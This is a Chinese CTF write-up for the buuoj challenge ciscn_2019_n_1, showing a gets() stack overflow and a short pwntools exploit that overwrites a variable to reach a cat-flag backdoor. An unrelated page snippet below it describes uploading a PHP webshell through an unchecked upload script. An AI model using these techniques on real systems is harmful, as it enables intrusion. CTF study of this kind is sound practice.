buuoj ciscn_2019_n_1 writeup

文章描述了一次针对64位NX保护开启程序的PWN攻击,通过分析main函数和func()中的gets()函数,发现栈溢出漏洞。利用该漏洞,通过计算使v2达到特定十六进制值(0x41348000),触发后门函数catflag,最终编写并发送exploit来获取flag。
摘要由CSDN通过智能技术生成

题目(四):
【题型】PWN
【题目】ciscn_2019_n_1
【来源】(buuoj)https://buuoj.cn/challenges#ciscn_2019_n_1
【思路】通过栈溢出使v2达到某个值实行后门函数
【具体步骤】
Step1:checksec一下文件,发现是一个64位的NX打开的程序。
在这里插入图片描述

Step2:将文件放到IDApro下进行静态调试。
在这里插入图片描述

Step3:看到main函数,查看伪代码(F5,如果键被占用,Fn+F5),然后发现有一个函数叫做func(),进入这个函数。
在这里插入图片描述

Step4:查看函数,发现有一个gets()函数,栈的大小只有44,但是v1,点进去查看有0x30-0x4,又因为当v2=11.28125会有cat flag这个后门,所以只要让v1栈溢出可以使v2的值改变。计算11.28125的十六进制为0x41348000.
在这里插入图片描述
在这里插入图片描述

Step5:编写exp,得到flag。
源码为:

from pwn import *
p=remote("node4.buuoj.cn",27628)
ans=0x41348000
payload=b'a'*44+p64(ans)
p.sendline(payload)
p.interactive()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值